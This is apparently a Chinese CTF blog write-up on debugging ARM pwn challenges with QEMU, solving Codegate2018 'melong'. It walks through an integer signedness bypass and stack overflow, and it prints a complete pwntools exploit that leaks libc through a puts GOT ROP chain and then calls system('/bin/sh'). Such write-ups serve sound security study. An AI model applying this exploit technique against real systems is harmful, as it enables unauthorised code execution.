arm架构 pwn入门之路

学习arm架构下pwn题目的调试

Posted by X1ng on November 16, 2020

要期中考试了,水一篇ARM

环境搭建

网上的师傅们都讲的很详细了

我是看着这个师傅的博客装的环境

安装qemu

sudo apt-get install qemu
sudo apt-get install qemu-system qemu-user-static binfmt-support

安装依赖

sudo apt-get install -y gcc-arm-linux-gnueabi
sudo apt-get install qemu libncurses5-dev gcc-arm-linux-gnueabi 
sudo apt-get install build-essential synaptic gcc-aarch64-linux-gnu 
#sudo apt-get install gdb-arm-none-eabi
#sudo apt-get install eclipse-cdt

安装gdb-multiarch

sudo apt-get install gdb-multiarch

例题复现

Codegate2018_melong

题目有libc和ld文件

例行检查

32位的arm小端序程序,只开启了NX保护

调试与mips下差不多

qemu-arm-static -L ./ ./melong

或者与pwntools联动

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.binary = "./melong"

if sys.argv[1] == "r":
    io = remote("localhost", 9999)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "./", "./melong"])
else:
    io = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])

另一个shell

gdb-multiarch ./test 
target remote 127.0.0.1:1234

ida打开

有个菜单,以为是堆题,实际上是栈溢出

需要先check后才能进行其他操作

函数比较多,漏洞在write_diary函数中

write_diary函数的第一个参数控制无符号整数nbyte,也就是read可以向栈中写入的字节,可以从mian函数中看到,就是PT函数的返回值,进入PT函数

发现整型返回值可以由用户输入,但是要绕过ptr == (void)exc2的检查,追踪exc2发现对其操作是在check函数的子函数get_result函数里

check函数

get_result函数

check函数限制只能check两次,而这个exc2应该是保存第二次check后bmi值的地方,要实现分配的chunk地址相等似乎有些困难,而且如果分配一个比较大的数字,需要等待sleep函数执行很久

但是看PT函数中的分支

if ( ptr == (void *)exc2 )
  {
    puts("Okay, start to exercise!");
    for ( i = 0; i < (signed int)size; ++i )
    {
      puts("you are getting healthy..");
      sleep(1u);
    }
    free(ptr);
    v0 = size;
  }

在for循环的条件中用了强制类型转换,将size转换为无符号整数

如果让size等于-1的话,malloc会请求失败返回NULL,也就是0,而在第一次check之后exc2正好也是0

即绕过检查,又不用等待sleep函数,在write_diary函数中就可以随便写了

cyclic计算偏移后泄露地址

check(1.76,103)
PT(-1)

pd = 'a'*0x54+p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(elf.sym['main'])
write(pd)

io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")

libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)

io.interactive()

发现程序会崩溃,是因为puts函数在返回的时候并不是pop pc,而是pop {r4, r5, r6, r7, r8, r9, r10, pc}

所以需要在前面补充一些垃圾数据,才能返回main函数

check(1.76,103)
PT(-1)

pd = 'a'*0x54+p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(0)*7+p32(elf.sym['main'])
write(pd)

io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")

libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)

io.interactive()

之后就是正常的rop了

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys

context.binary = "./melong"
context.log_level = "debug"

if sys.argv[1] == "r":
    io = remote("",)
elif sys.argv[1] == "l":
    io = process(["qemu-arm", "-L", "./", "./melong"])
else:
    io = process(["qemu-arm", "-g", "1237", "-L", "./", "./melong"])

elf = ELF("./melong", checksec = False)
libc = ELF("./libc.so.6", checksec = False)

def check(height, weight):
    io.sendlineafter(":", "1")
    io.sendlineafter(" : ", str(height))
    io.sendlineafter(" : ", str(weight))

def PT(size):
    io.sendlineafter(":", "3")
    io.sendlineafter("?\n", str(size))

def write(payload):
    io.sendlineafter(":", "4")
    io.send(payload)

pop_r0_pc = 0x00011bbc

check(1.76,103)
PT(-1)

pd = 'a'*0x54 + p32(pop_r0_pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])
pd += p32(0)*7 + p32(elf.sym['main'])
write(pd)

io.sendlineafter(":", "6")
io.recvuntil("See you again :)\n")

libc.address = u32(io.recvn(4)) - libc.sym['puts']
print hex(libc.address)

check(1.82, 60)
PT(-1)
pd = 'a'*0x54 + p32(pop_r0_pc) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
write(pd)
io.sendlineafter(":", "6")

io.interactive()